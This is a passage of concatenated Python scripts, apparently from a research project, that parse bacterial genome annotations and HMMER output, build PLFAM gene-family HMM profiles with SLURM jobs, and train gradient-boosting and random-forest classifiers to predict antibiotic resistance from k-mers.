{ "learning_rate": [0.01, 0.1, 1], "max_depth": [1, 3, 5], "subsample": [0.5, 1.0], } tunesearch=ray.tune.sklearn.TuneGridSearchCV(model, parameters, early_stopping=True)# max_iter=10, search_optimization="bayesian", n_trials=3) return tunesearch X_train, X_test, y_train, y_test, X_train_bin, X_test_bin=load_and_split() y_train, y_test = le_target(y_train, y_test) """ model=create_nn([len(X_train.columns),50,1]) model.fit(np.array(X_train), np.array(y_train), epochs=100, validation_split=0.2) model.evaluate(X_test, y_test, verbose=5) pred=model.predict_proba(X_test) #model_bin=create_nnbis([len(X_train_bin.columns),50,1]) #model_bin.fit(np.array(X_train_bin), np.array(y_train), epochs=100, validation_split=0.2) #pred_bin=model.predict_proba(X_test_bin) """ model=ensemble.GradientBoostingClassifier(n_estimators=50, max_features=None, max_depth=1, subsample=0.4)#, validation_fraction=0.1, n_iter_no_change=20) model_search=grid_search_boosting(model) model.fit(X_train, y_train) #model_bin=ensemble.GradientBoostingClassifier(n_estimators=200,max_features=None, max_depth=1, subsample=0.4)#, validation_fraction=0.1, n_iter_no_change=20) #model_bin.fit(X_train, y_train) #plot_boosting_learning_curve(X_test_bin, y_test,model_bin) pred=model.predict_proba(X_test)[:,1] #pred_bin=model_bin.predict_proba(X_test_bin)[:,1] #plot_ROC(y_test, pred, pred_bin) plot_PR(y_test, pred)#, pred_bin) plot_boosting_learning_curve(X_test, y_test, model) acc=metrics.accuracy_score(y_test, np.round(pred)) #acc_bin=metrics.accuracy_score(y_test, np.round(pred_bin)) ``` PLFAM_annotation.py ```import pandas as pd import numpy as np import argparse from collections import defaultdict from Bio import SearchIO #################################################################### #TODO 1. Parse existing gff using gff_to_pandas() class class gff_to_pandas(object): def __init__(self): return def gffs_to_dic(self, pathtogff): with open(pathtogff, 'r') as f: lines=f.readlines() dic={'scaffold': [], 'source': [], 'type': [], 'start': [], 'end': [], 'score': [], 'strand': [], 'frame': [], 'attributes': [], 'ID':[], 'eC_number':[],'Name':[], 'db_xref':[], 'gene':[], 'inference':[], 'locus_tag':[], 'product':[], 'note':[], 'rpt_family':[], 'rpt_type':[]} tabsplit=['scaffold','source','type','start','end','score','strand','frame','attributes'] for line in lines[1:]: #print(line) if len(line.split('\t'))<3: continue line=line.split('\t') for thing, head in zip(line,tabsplit): dic[head].append(thing) attributes=dic['attributes'][-1].split(';') IDTHERE=0 for thing in attributes: splitted=thing.split('=') dic[splitted[0]].append(splitted[1]) if splitted[0]=='ID': IDTHERE=1 if IDTHERE==0: print(attributes) keyslist=list(dic.keys()) keyslist.remove('ID') for key in keyslist: del dic[key][-1] # inference=dic['inference'][-1].split(':') # if len(inference)==5: # dic['prot_fam'].append(inference[-1]) # else: # dic['prot_fam'].append('protein') todel=['eC_number', 'Name','gene','inference','note', 'db_xref','locus_tag','product', 'rpt_family', 'rpt_type'] for thing in todel: del(dic[thing]) return dic def lsdic_to_pandas(self, dic): for key in dic.keys(): print(key) print(len(dic[key])) #dfs=[] # for key in ls_dic[0]: # print(key) # print(len(ls_dic[0][key])) #for dic in ls_dic: # dfs.append(pd.DataFrame.from_dict(dic)) #dfs=pd.concat(dfs, ignore_index=True) df=pd.DataFrame.from_dict(dic) return df def run(self, path): ls_dic=self.gffs_to_dic(path) dfs=self.lsdic_to_pandas(ls_dic) types = {'start': np.int64, 'end': np.int64} dfs = dfs.astype(types) dfs['size']=dfs['end']-dfs['start'] return dfs ################################################################################## #TODO 2. Parse hmmscan output to get locus <-> annotation correspondance class hmmscan_to_pandas(object): def __init__(self): return def parse_file(self, path): attribs = ['query_id', 'bitscore', 'evalue', 'id'] hits = defaultdict(list) with open(path) as handle: for queryresult in SearchIO.parse(handle, 'hmmer3-tab'): #print(queryresult.id) #print(queryresult.accession) #print(queryresult.description) for hit in queryresult.hits: for attrib in attribs: hits[attrib].append(getattr(hit, attrib)) df=pd.DataFrame.from_dict(hits) return df def get_score_values(self, df): grouped = df.groupby('query_id') uniques = df['query_id'].unique() ls_evalue = [] ls_score = [] ls_ratio = [] for locus_id in uniques: group = grouped.get_group(locus_id) try: ls_evalue.append(np.log10(group.iloc[0, 2]) - np.log10(group.iloc[1, 2])) ls_score.append(group.iloc[0, 1]) ls_ratio.append(group.iloc[0, 1] - group.iloc[1, 1]) except: a = 1 def get_annotation(self, df): grouped = df.groupby('query_id') uniques = df['query_id'].unique() dic_annotation={} for locus_id in uniques: group = grouped.get_group(locus_id) dic_annotation[group.iloc[0,0]]=group.iloc[0,3] #todo verifier coordinates return dic_annotation ############################################################################################## #todo 3. Add annotation as a column to the gff parsed as pandas and save dataframe as csv class annotate_and_save(object): def __init__(self): return def run(self, df, dic_annotation): df['PLFAM']=0 for key in dic_annotation: df.loc[df['ID']==key, 'PLFAM']=dic_annotation[key] return df def get_lenkmers(): parser=argparse.ArgumentParser() parser.add_argument('--pathgff', type=str, default='/home/ylucas/magitics_data/NMDC60014126_prokka/NMDC60014126.gff') parser.add_argument('--pathhmmscan', type=str, default='/home/ylucas/magitics_data/NMDC60014126_prokka/cef_hmm_pred.txt') parser.add_argument('--outpath', type=str, default='/home/ylucas/magitics_data/NMDC60014126_prokka/PLFAM_annotation.csv') arg=parser.parse_args() return arg if __name__=='__main__': args= get_lenkmers() pathgff=args.pathgff gff_parse=gff_to_pandas() parsed_gff=gff_parse.run(pathgff) pathhmmscan=args.pathhmmscan hmmscan_parse=hmmscan_to_pandas() parsed_hmmscan=hmmscan_parse.parse_file(pathhmmscan) dic_annotation=hmmscan_parse.get_annotation(parsed_hmmscan) annotation=annotate_and_save() parsed_gff=annotation.run(parsed_gff, dic_annotation) parsed_gff.to_csv(args.outpath, index=False) ``` gene_family.py ```import pandas as pd import os, sys from Bio import SeqIO import numpy as np class gene_family_file(object): def __init__(self): return def parse_patric_gff(self, pathtofile): print(pathtofile) df=pd.read_csv(pathtofile, sep='\t') return df def dic_data(self,row, contig_number): dic={} dic['contig']=contig_number -1 dic['start']=int(row['start']) dic['end']=int(row['end']) dic['patric_id']=str(row['patric_id']) dic['plfam_id']=str(row['plfam_id']) dic['genome']=str(row['genome_name']) return dic def get_locus_plfams(self, df): """ get locus of gene (start end), contig number, patric_id and plfam if feature_type=='CDS' """ ls=[] contig_number=0 prev_contig='' for index, row in df.iterrows(): if not row['accession'] == prev_contig: contig_number+=1 prev_contig=row['accession'] if row['feature_type']=='CDS': ls.append(self.dic_data(row, contig_number)) return ls def write_plfam_fastas(self, pathtofasta, pathtogff, label): df=self.parse_patric_gff(pathtogff) ls_dics=self.get_locus_plfams(df) fasta=SeqIO.parse(pathtofasta, 'fasta') ls_contigs=[] for contig in fasta: ls_contigs.append(contig) for dic in ls_dics: try: plfam=dic['plfam_id'] prot_seq=ls_contigs[dic['contig']][dic['start']-1:dic['end']-1] #.translate() write_seq=''.join([aa for aa in prot_seq]) with open(os.path.join('/scratch/MAGITICS_data/Pseudomonas/plfams_nuc',plfam), 'a') as f: f.write('>'+dic['genome']+'|'+dic['patric_id']+'|Amikacin: susceptible \n') f.write(write_seq) f.write('\n') self.count+=1 except Exception as e: print(e) print(dic['plfam_id']) print(dic['contig']) print(dic['start']) print(dic['end']) print(len(ls_contigs[dic['contig']])) def unique_listdir_PATRIC(self, filelist): ls_unique=[] for thing in filelist: ls_unique.append('.'.join(thing.split('.')[:2])) return list(set(ls_unique)) def get_label(self, pathtofolder): label=pathtofolder.split('/')[-1] return label def run(self, pathtofolder='/scratch/MAGITICS_data/Pseudomonas/amikacin/Susceptible'): self.count=0 strainlist=self.unique_listdir_PATRIC(os.listdir(pathtofolder)) for strainID in strainlist: pathtofasta=os.path.join(pathtofolder, strainID+'.fna') pathtogff=os.path.join(pathtofolder, strainID+'.PATRIC.features.tab') label=self.get_label(pathtofolder) self.write_plfam_fastas(pathtofasta, pathtogff, label) gene_fam=gene_family_file() gene_fam.run() class gff_to_pandas(object): def __init__(self): return def gffs_to_dic(self, pathtogff): with open(pathtogff, 'r') as f: lines=f.readlines() dic={'scaffold': [], 'source': [], 'type': [], 'start': [], 'end': [], 'score': [], 'strand': [], 'frame': [], 'attributes': [], 'ID': [], 'eC_number':[], 'Name': [], 'gene': [], 'inference': [], 'locus_tag': [], 'product': [], 'prot_fam': [], 'note': []} tabsplit=['scaffold','source','type','start','end','score','strand','frame','attributes'] for line in lines[1:]: #print(line) if len(line.split('\t'))<3: continue line=line.split('\t') for thing, head in zip(line,tabsplit): dic[head].append(thing) attributes=dic['attributes'][-1].split(';') for thing in attributes: splitted=thing.split('=') dic[splitted[0]].append(splitted[1]) inference=dic['inference'][-1].split(':') if len(inference)==5: dic['prot_fam'].append(inference[-1]) else: dic['prot_fam'].append('protein') todel=['eC_number', 'Name','gene','inference','note'] for thing in todel: del(dic[thing]) return dic def lsdic_to_pandas(self, ls_dic): dfs=[] for key in ls_dic[0]: print(key) print(len(ls_dic[0][key])) for dic in ls_dic: dfs.append(pd.DataFrame.from_dict(dic)) dfs=pd.concat(dfs, ignore_index=True) return dfs def describe(self, dfs): a=dfs.describe(include='all') count3=0 for plfam in np.unique(dfs['prot_fam']): a=dfs['size'][dfs['prot_fam']==plfam] b,c = np.unique(a, return_counts=True) print(plfam) print(b) print(c) print(np.sum(c)) print('---') if len(b)==1: count3+=1 print(count3) print(len(np.unique(dfs['prot_fam']))) return a def run(self): ls_path=['/home/ylucas/Bureau/annotated_fastas/1313.5461.gff','/home/ylucas/Bureau/annotated_fastas/1313.5465.gff','/home/ylucas/Bureau/annotated_fastas/1313.5466.gff'] ls_dic=[] for path in ls_path: ls_dic.append(self.gffs_to_dic(path)) dfs=self.lsdic_to_pandas(ls_dic) types = {'start': np.int64, 'end': np.int64} dfs = dfs.astype(types) print(dfs.dtypes) dfs['size']=dfs['end']-dfs['start'] self.dfs = dfs self.dic=ls_dic self.desc=self.describe(dfs) #parse=gff_to_pandas() #parse.run()``` trainHMMs.py ``` #TODO 1 PARSE GFF+FASTA POUR FAIRE LISTE DE SUPERVISED PLFAM SEQ import pandas as pd import os, sys from Bio import SeqIO import numpy as np class gene_family_file(object): """ Create supervised gene family files (fasta format) using PATRIC's PLFAM annotation """ def __init__(self): return def parse_patric_gff(self, pathtofile): """ Parse patric gff into a pandas dataframe Args: pathtofile: path to the patric gff Returns: dataframe """ print(pathtofile) df=pd.read_csv(pathtofile, sep='\t') return df def dic_data(self,row, contig_number): """ Parse the properties of 1 CDS (=row in PATRIC gff file) into a dictionary and return it Args: row: CDS properties contig_number: contig number is not contained per se in the CDS properties, it is therefore passed as argument Returns: CDS properties stored into a dictionary """ dic={} dic['contig']=contig_number -1 dic['start']=int(row['start']) dic['end']=int(row['end']) dic['patric_id']=str(row['patric_id']) dic['plfam_id']=str(row['plfam_id']) dic['genome']=str(row['genome_name']) return dic def get_locus_plfams(self, df): """ Iterate over PATRIC annotation file rows and create a dictionary of CDS properties for each row Args: df: PATRIC annotation file parsed in Pandas Returns: list of dicts each containing 1 CDS properties """ ls=[] contig_number=0 prev_contig='' for index, row in df.iterrows(): if not row['accession'] == prev_contig: contig_number+=1 prev_contig=row['accession'] if row['feature_type']=='CDS': ls.append(self.dic_data(row, contig_number)) return ls def write_plfam_fastas(self, pathtofasta, pathtogff, label): """ Parse PATRIC annotation file, create a list of dictionary containing CDS properties and write the corresponding nucleotide sequences in a fasta like file for each PLFAM*susceptible/resistant Args: pathtofasta: path to the assembled genome fasta pathtogff: path to the PATRIC annotation file label: label of the strain (susceptible/resistant) to write the fasta output in the correct folder """ df=self.parse_patric_gff(pathtogff) ls_dics=self.get_locus_plfams(df) fasta=SeqIO.parse(pathtofasta, 'fasta') ls_contigs=[] for contig in fasta: ls_contigs.append(contig) for dic in ls_dics: try: plfam=dic['plfam_id'] prot_seq=ls_contigs[dic['contig']][dic['start']-1:dic['end']-1] #.translate() write_seq=''.join([aa for aa in prot_seq]) with open(os.path.join('../toy_dataset/plfams/',label, plfam), 'a') as f: f.write('>'+dic['genome']+'|'+dic['patric_id']+'\n') f.write(write_seq) f.write('\n') self.count+=1 except Exception as e: print(e) print(dic['plfam_id']) print(dic['contig']) print(dic['start']) print(dic['end']) print(len(ls_contigs[dic['contig']])) def unique_listdir_PATRIC(self, filelist): """ Utility function to get the list of unique strainnames because each strain has 2 files (assembled genome+annotation file) Args: filelist: list of "doubled" files Returns: list of unique strainnames """ ls_unique=[] for thing in filelist: ls_unique.append('.'.join(thing.split('.')[:2])) return list(set(ls_unique)) def get_label(self, pathtofolder): """ Get the label of the strain from the path Args: pathtofolder: Returns: label """ label=pathtofolder.split('/')[-1] return label def run(self, pathtofolder='../toy_dataset/susceptible'): """ Create supervised gene family file (fasta like) for each strain of the folder "pathtofolder" Args: pathtofolder: Returns: """ self.count=0 strainlist=self.unique_listdir_PATRIC(os.listdir(pathtofolder)) for strainID in strainlist: pathtofasta=os.path.join(pathtofolder, strainID+'.fna') pathtogff=os.path.join(pathtofolder, strainID+'.PATRIC.features.tab') label=self.get_label(pathtofolder) self.write_plfam_fastas(pathtofasta, pathtogff, label) #gene_fam=gene_family_file() #gene_fam.run() #TODO 2: MSA + HMM PROFILE PAR PLFAM # This part is done on terminal in order to build hmm profiles for each fasta """ Execute the following bash commands: * cd plfams/resistant/ * ls > ../ls_plfams_resistant.txt * cd ../.. * mkdir aligns * cd aligns * mkdir resistant * mkdir susceptible * cd .. * mkdir hmm_profiles * cd hmm_profiles * mkdir resistant * mkdir susceptible * cd .. write the following bash script using nano and save it under the name run.sh run the script using: * sbatch run.sh ------------------ #!/bin/bash #SBATCH --job-name=musclehmmer #SBATCH --nodes=1 #SBATCH --mem=8gb #SBATCH --ntasks-per-node=1 #SBATCH --array=1-10000%100 #The range of the array will need to be updated # in order to cover the totality of the plfams collection module load hmmer module load muscle FILENAME=$(head -n $(($SLURM_ARRAY_TASK_ID)) ls_plfams_resistant.txt |tail -1) muscle -in plfams/$FILENAME -out aligns/$FILENAME hmmbuild hmm_profiles/$FILENAME aligns/$FILENAME ------------------ """ #TODO 3: HMM FLATFILE PAR COUPLE DE PROFILE DE PLFAM #1. Get list of existing hmm_profiles def write_plfam_lists(pathresistant='../toy_dataset/plfams/resistant', pathsusceptible='../toy_dataset/plfams/susceptible', pathtowrite='../toy_dataset/plfams'): """ Write the list of hmmprofiles that are either: only susceptible, only resistant or present in susceptible and resistant Args: pathresistant: pathsusceptible: pathtowrite: """ ls_resistant=os.listdir(pathresistant) ls_susceptible=os.listdir(pathsusceptible) susceptible_only=open(os.path.join(pathtowrite, 'susceptible_only.txt'),'w') resistant_only=open(os.path.join(pathtowrite, 'resistant_only.txt'),'w') both_susc_and_res=open(os.path.join(pathtowrite, 'both_susc_and_res.txt'),'w') for thing in ls_susceptible: if thing in ls_resistant: both_susc_and_res.write(thing+'\n') else: susceptible_only.write(thing+'\n') for thing in ls_resistant: if thing not in ls_susceptible: resistant_only.write(thing+'\n') susceptible_only.close() resistant_only.close() both_susc_and_res.close() #TODO 1.5 move and rename hmm_profiles to the same folder: susceptiblePLFXXX and resistantPLFXXX #TODO 2 concatenate hmm_profiles of the same plfam """ run the script using: * sbatch run.sh ------------------ #!/bin/bash #SBATCH --job-name=cat_profile #SBATCH --nodes=1 #SBATCH --mem=8gb #SBATCH --ntasks-per-node=1 #SBATCH --array=1-10000%100 #The range of the array will need to be updated # in order to cover the totality of the plfams collection FILENAME=$(head -n $(($SLURM_ARRAY_TASK_ID)) both_susc_and_res.txt |tail -1) #mv hmm_profiles/susceptible_$FILENAME catted_profiles/$FILENAME cat hmm_profiles/resistant_$FILENAME hmm_profiles/susceptible_$FILENAME > catted_profiles/$FILENAME ------------------ """ #TODO HMMpress catted profiles """ Execute the following bash commands: * mkdir flatfiles ------------------ #!/bin/bash #SBATCH --job-name=cat_profile #SBATCH --nodes=1 #SBATCH --mem=8gb #SBATCH --ntasks-per-node=1 #SBATCH --array=1-10000%100 #The range of the array will need to be updated # in order to cover the totality of the plfams collection FILENAME=$(head -n $(($SLURM_ARRAY_TASK_ID)) both_susc_and_res.txt |tail -1) #mv hmm_profiles/susceptible_$FILENAME catted_profiles/$FILENAME cat hmm_profiles/resistant_$FILENAME hmm_profiles/susceptible_$FILENAME > catted_profiles/$FILENAME ------------------ """ ``` test.py ```import numpy as np import pandas as pd import os from Bio import SeqIO # import pandas as pd # df=pd.read_csv('/home/ylucas/Bureau/annotated_fastas/1313.5461.PATRIC.features.tab',sep='\t') # from Bio import SeqIO # it=SeqIO.parse('/home/ylucas/Bureau/annotated_fastas/1313.5461.fna','fasta') # ls=[] # for truc in it: # ls.append(truc) # path='/home/ylucas/magitics_data/cefepime/' # ls_paths=os.listdir(path) # # ls_dfs=[] # for folder in ls_paths: # for file in os.listdir(os.path.join(path, folder)): # ls_dfs.append(pd.read_csv(os.path.join(path,folder,file), sep= '\t')) # df=pd.concat(ls_dfs, ignore_index=True) #a=df['plfam_id'].value_counts() #a=df['plfam_id'].hist(bins=10) # with open('/home/ylucas/magitics_data/ls_file.txt', 'r') as f: # ls_file=f.readlines() # # with open('/home/ylucas/magitics_data/ls_aligns.txt','r') as f: # ls_aligns=f.readlines() # # ls_missing=[] # for i in ls_file: # if i not in ls_aligns: # ls_missing.append(i) from BCBio import GFF class parse_gff_fasta_to_extract_CDS(object): def __init__(self): return def parse_gff(self, pathgff): import gffutils db = gffutils.create_db(data=pathgff, dbfn='memory', force=True) return db def parse_fasta(self, pathfasta): import pyfaidx fasta = pyfaidx.Fasta(pathfasta) def run(self, path): pathgff=os.path.join(path, 'gnagna.gff') pathfasta=os.path.join(path, 'gnagna.fna') db=self.parse_gff(pathgff) fasta=self.parse_fasta(pathfasta) ls_seq = [] ls_id=[] for cds in db.features_of_type('CDS', order_by='start'): ls_seq.append(cds.sequence(fasta)) ls_id.append(cds.id) # df=pd.read_csv('/home/ylucas/Bureau/annotated_fastas/1313.5461.PATRIC.features.tab',sep='\t') # from Bio import SeqIO # it=SeqIO.parse('/home/ylucas/Bureau/annotated_fastas/1313.5461.fna','fasta') # ls=[] # for truc in it: # ls.append(truc) #GFF_fasta=parse_gff_fasta_to_extract_CDS() #GFF_fasta.parse_gff('/home/ylucas/magitics_data/Prokka_annotation/PROKKA_11092020.gff') """ from collections import defaultdict import pandas as pd from Bio import SearchIO filename = '/home/ylucas/magitics_data/hmmscan_out.txt' attribs = ['accession', 'bias', 'bitscore', 'description', 'cluster_num', 'domain_exp_num', 'domain_included_num', 'domain_obs_num', 'domain_reported_num', 'env_num', 'evalue', 'id', 'overlap_num', 'region_num'] hits = defaultdict(list) with open(filename) as handle: for queryresult in SearchIO.parse(handle, 'hmmer3-tab'): #print(queryresult.id) #print(queryresult.accession) #print(queryresult.description) for hit in queryresult.hits: for attrib in attribs: hits[attrib].append(getattr(hit, attrib)) df=pd.DataFrame.from_dict(hits) import pandas as pd path='/home/ylucas/magitics_data/cef_hmm_pred.txt' df= pd.read_csv(path, sep='\t') file=open(path,'r') lines=file.readlines() print(lines[:10]) """ """ path='/home/ylucas/magitics_data/cef_hmm_pred.txt' from collections import defaultdict import pandas as pd from Bio import SearchIO attribs = ['query_id', 'bitscore','evalue', 'id'] hits = defaultdict(list) with open(path) as handle: for queryresult in SearchIO.parse(handle, 'hmmer3-tab'): #print(queryresult.id) #print(queryresult.accession) #print(queryresult.description) for hit in queryresult.hits: for attrib in attribs: hits[attrib].append(getattr(hit, attrib)) df=pd.DataFrame.from_dict(hits) grouped=df.groupby('query_id') uniques=df['query_id'].unique() ls_evalue=[] ls_score=[] ls_ratio=[] for locus_id in uniques: group=grouped.get_group(locus_id) try: ls_evalue.append(np.log10(group.iloc[0,2])-np.log10(group.iloc[1,2])) ls_score.append(np.log10(group.iloc[0, 2])) ls_ratio.append(group.iloc[0, 1]-group.iloc[1, 1]) except: a=1 import matplotlib.pyplot as plt ls_a=[] for thing in ls_evalue: if thing>-3000: ls_a.append(thing) c=0 for thing in ls_a: if thing<2: c+=1 plt.hist(ls_a, bins=100) """ import pandas as pd import numpy as np import argparse from collections import defaultdict from Bio import SearchIO, SeqIO class hmmscan_to_pandas(object): def __init__(self): return def parse_file(self, path): attribs = ['query_id', 'bitscore', 'evalue', 'id'] hits = defaultdict(list) with open(path) as handle: for queryresult in SearchIO.parse(handle, 'hmmer3-tab'): #print(queryresult.id) #print(queryresult.accession) #print(queryresult.description) for hit in queryresult.hits: for attrib in attribs: hits[attrib].append(getattr(hit, attrib)) df=pd.DataFrame.from_dict(hits) return df def get_score_values(self, df): grouped = df.groupby('query_id') uniques = df['query_id'].unique() ls_evalue = [] ls_score = [] ls_ratio = [] for locus_id in uniques: group = grouped.get_group(locus_id) try: ls_evalue.append(np.log10(group.iloc[0, 2]) - np.log10(group.iloc[1, 2])) ls_score.append(group.iloc[0, 1]) ls_ratio.append(group.iloc[0, 1] - group.iloc[1, 1]) except: a = 1 def get_annotation(self, df): grouped = df.groupby('query_id') uniques = df['query_id'].unique() dic_annotation={} for locus_id in uniques: group = grouped.get_group(locus_id) dic_annotation[group.iloc[0,0]]=group.iloc[0,3] #todo verifier coordinates return dic_annotation pathhmmscan='/home/ylucas/287999_hmmscan.txt' hmmscan_parse=hmmscan_to_pandas() parsed_hmmscan=hmmscan_parse.parse_file(pathhmmscan) dic_annotation=hmmscan_parse.get_annotation(parsed_hmmscan) ls_scan=[] for key in dic_annotation: ls_scan.append(dic_annotation[key]) pathpatric='/home/ylucas/287.999.PATRIC.features.tab' df=pd.read_csv(pathpatric, sep='\t') # Get names of indexes for which column Age has value 30 indexNames = df[ df['feature_type'] != 'CDS' ].index # Delete these row indexes from dataFrame df.drop(indexNames , inplace=True) ls_pat=df['plfam_id'].to_list() import difflib sm=difflib.SequenceMatcher(None, ls_pat, ls_scan) sm.ratio() ls_wrong=[] for thing in ls_pat: if thing in ls_scan: ls_scan.remove(thing) grouped=parsed_hmmscan.groupby('query_id') dic_wrong={} dic_wrong_noratio={} for wrongplf in ls_scan: susceptible=parsed_hmmscan.loc[parsed_hmmscan['id']==wrongplf] for index, row in susceptible.iterrows(): CDS=row['query_id'] group=grouped.get_group(CDS) if group.iloc[0,3]==wrongplf: dic_wrong_noratio[wrongplf] = [-np.log10(group.iloc[0, 2])] try: dic_wrong[wrongplf]=[-np.log10(group.iloc[0,2]), -np.log10(group.iloc[0,2])+np.log10(group.iloc[1,2])] except: a=0 dfwrong=pd.DataFrame.from_dict(dic_wrong, orient='index') dfwrongreplaced=dfwrong.replace([np.inf, -np.inf], np.nan) dfwrongreplaced.dropna(inplace=True) fasta=SeqIO.parse('/home/ylucas/287.999.fna','fasta') ls_contigs=[] for record in fasta: ls_contigs.append(record) ``` create_trainset.py ```import os import random def unique_listdir_PATRIC(filelist): """ Utility function to get the list of unique strainnames because each strain has 2 files (assembled genome+annotation file) Args: filelist: list of "doubled" files Returns: list of unique strainnames """ ls_unique = [] for thing in filelist: ls_unique.append('.'.join(thing.split('.')[:2])) return list(set(ls_unique)) datadir='/scratch/MAGITICS_data/Streptococcus_pneumoniae/chloramphenicol/Resistant/' ls_file=os.listdir() ls_unique=unique_listdir_PATRIC(ls_file) for thing in ls_unique: r=random.randint(10) if r>=7: cmd1='mv %s.fna test/Resistant' %(thing) cmd2='mv %s.PATRIC.features.tab test/Resistant' %(thing) os.sys(cmd1) os.sys(cmd2) ``` utils.py ```import os import shutil import config as cfg def changefna2fa(dirname): """ change extension of fasta from .fna to .fa (dsk only works with .fa files) :param dirname: name of directory in which filenames are changed """ #for dirname in os.listdir(os.path.join(cfg.pathtodata, cfg.data)): for filename in os.listdir(dirname): #os.path.join(cfg.pathtodata, cfg.data + dirname)): print(filename[-4:]) if filename[-4:] == ".fna": os.rename(os.path.join( dirname, filename), os.path.join(dirname, filename[:-4] + ".fa")) elif filename[-4:] == ".tab": os.remove(os.path.join(dirname, filename)) def label_in_name(dirnamein, dirnameout): """ rename file adding the class of the strain (resistant/susceptible) in the filename :param dirnamein: directory where the file are stored (resistant/susceptible, following PATRIC directory architecture) :param dirnameout: directory where the renamed file are moved """ for file in os.listdir(dirnamein): shutil.move( os.path.join(dirnamein, file), os.path.join(dirnameout, dirnamein.split("/")[-1] + file)) def create_dir(): if not os.path.exists(os.path.join(cfg.pathtoxp, cfg.xp_name, "kmers")): mkdirCmd1 = "mkdir %s" % (os.path.join(cfg.pathtoxp, cfg.xp_name, "kmers")) os.system(mkdirCmd1) # mkdirCmd2 = "mkdir %s" % (os.path.join(cfg.pathtoxp, cfg.xp_name, 'kmers', 'output')) # os.system(mkdirCmd2) # mkdirCmd3 = "mkdir %s" % (os.path.join(cfg.pathtoxp, cfg.xp_name, 'kmers', 'temp')) # os.system(mkdirCmd3) mkdirCmd3 = "mkdir %s" % (os.path.join(cfg.pathtoxp, cfg.xp_name, "temp")) os.system(mkdirCmd3) def write_kover_metadata_files(): """ write metadata used when running Kover framework (from an other project), not useful per se in this framework """ genomedata = open(os.path.join(cfg.pathtoxp, "GenomeData.txt"), "w") metadata = open(os.path.join(cfg.pathtoxp, "metadata.txt"), "w") for dirname in os.listdir(os.path.join(cfg.pathtodata, cfg.data)): for filename in os.listdir(os.path.join(cfg.pathtodata, cfg.data + dirname)): if dirname=='Resistant': genomedata.write(filename[:-3]+'\t'+str(os.path.join(cfg.pathtodata, cfg.data+dirname, filename))+'\n') metadata.write(filename[:-3]+'\t'+'1\n') elif dirname=='Susceptible': genomedata.write(filename[:-3]+'\t'+str(os.path.join(cfg.pathtodata, cfg.data+dirname, filename))+'\n') metadata.write(filename[:-3]+'\t'+'0\n') #changefna2fa() #create_dir() #write_kover_metadata_files() ``` learning.py ```import os import pickle import matplotlib.pyplot as plt import numpy as np import pandas as pd import scipy.sparse as sp import seaborn as sns from sklearn import (ensemble, tree, feature_selection, metrics, model_selection, preprocessing) import config as cfg class Train_kmer_clf(object): """ Train in batch version and optionnally test in batch settings Also optimize the treshold for computing accuracies """ def __init__(self): if cfg.model == "rf": self.clf = ensemble.RandomForestClassifier() self.param_grid = cfg.rf_grid elif cfg.model == "gradient": #self.clf = ensemble.GradientBoostingClassifier(max_depth=4, max_features=None) self.clf = ensemble.GradientBoostingRegressor(max_features=None) self.param_grid = cfg.gradient_grid elif cfg.model == 'Ada': self.clf = ensemble.AdaBoostClassifier() self.param_grid = cfg.ada_grid if cfg.dtype == 'sparse': with open(os.path.join(cfg.pathtoxp, cfg.xp_name, cfg.id, "kmers_mats.pkl"), "rb") as f: [self.mat, self.labels, self.strain_to_index, self.kmer_to_index] = pickle.load(f) print(self.labels) self.testratio = 0.0 elif cfg.dtype == 'df': with open(os.path.join(cfg.pathtoxp, cfg.xp_name, cfg.id, "kmers_DF.pkl"), "rb") as f: [self.mat, self.labels] = pickle.load(f) self.kmer_to_index = self.mat.columns self.testratio = 0.3 def preprocess_y(self): """ Transform y into a binary vector """ # to_drop = ["label", "strain"] # X = self.mat.drop(to_drop, axis=1) # self.columns = X.columns if cfg.MIC==False: le = preprocessing.LabelEncoder() self.y = le.fit_transform(self.labels) else: print(self.labels) self.y=self.labels def split_train_test(self): """ Split the data matrix and target vector into train and test matrices and vector Returns: X_train, X_test, y_train, y_test """ if self.testratio > 0: X_train, X_test, y_train, y_test = model_selection.train_test_split(self.mat, self.y, test_size=self.testratio) else: X_train = self.mat y_train = self.y X_test = None y_test = None print(y_train) del self.mat, self.y return X_train, X_test, y_train, y_test def chi2_feature_selection(self, X_train, X_test, y_train): """ Refactor X_train and X_test only keeping features that are correlated with the target y_train Args: X_train: train numpy array X_test: test numpy array y_train: train target variable vector Returns: refined X_train and X_test """ chi2_selector = feature_selection.SelectKBest(feature_selection.chi2, k=1000000) X_train = chi2_selector.fit_transform(X_train, y_train) X_test = chi2_selector.transform(X_test) return X_train, X_test def fit(self, X_train, y_train): """ Fit the chosen classifier using gridsearch cross validation Args: X_train: input data matrix y_train: ground truth vector Returns: """ self.cv_clf = model_selection.GridSearchCV(estimator=self.clf, param_grid=self.param_grid, cv=2, scoring="neg_mean_squared_error", n_jobs=1) self.cv_clf.fit(X_train, y_train) self.y_pred = self.cv_clf.predict(X_train) with open(os.path.join(cfg.pathtoxp, cfg.xp_name, cfg.id, f'{cfg.model}_CVresults.pkl'), 'wb') as f: pickle.dump({"classifier": self.cv_clf, "features": self.kmer_to_index}, f, protocol=4) def predict(self, X_test): """ Batch predict of X_test labels Args: X_test: input data matrix Returns: y_predict: prediction vector """ y_predict = self.cv_clf.predict(X_test) return y_predict def get_accuracy_treshold(self, X_train, y_train): """ Calculate the treshold to obtain the best accuracy on the train set Args: X_train: input data matrix y_train: ground truth vector Returns: treshold value """ train_predict = self.cv_clf.best_estimator_.predict_proba(X_train)[:, -1] accuracies = [] nsteps = 100 for i in range(nsteps): tres = i / nsteps tresd_predict = [] for pred in train_predict: if pred > tres: tresd_predict.append(1) else: tresd_predict.append(0) accuracies.append(metrics.accuracy_score(y_train, tresd_predict)) ind = accuracies.index(max(accuracies)) treshold = float(ind) / float(nsteps) with open(os.path.join(cfg.pathtoxp, cfg.xp_name, cfg.id, f"{cfg.model}_tres_value.txt"), "w") as f: f.write(str(treshold)) return treshold def adapted_accuracy(self, y_test, y_pred, treshold): """ Predict accuracy with respect to a calculated treshold (inherited from Test_streaming class) Args: y_test: ground truth vector y_pred: prediction vector treshold Returns: adapted accuracy score """ return Test_streaming.adapted_accuracy(self, y_test, y_pred, treshold) def evaluate_and_write_report(self, y_pred, y_test, treshold): """ Predict scores and write report Args: y_test: ground truth vector y_pred: prediction vector treshold """ Test_streaming.evaluate_and_write_report(self, y_pred, y_test, treshold) def plot_CV_heatmap(self): """ Plot gridsearchCV heatmap """ ls_params = list(self.param_grid.keys()) self.pvt = pd.pivot_table(pd.DataFrame(self.cv_clf.cv_results_), values="mean_test_score", index="param_" + ls_params[0], columns="param_" + 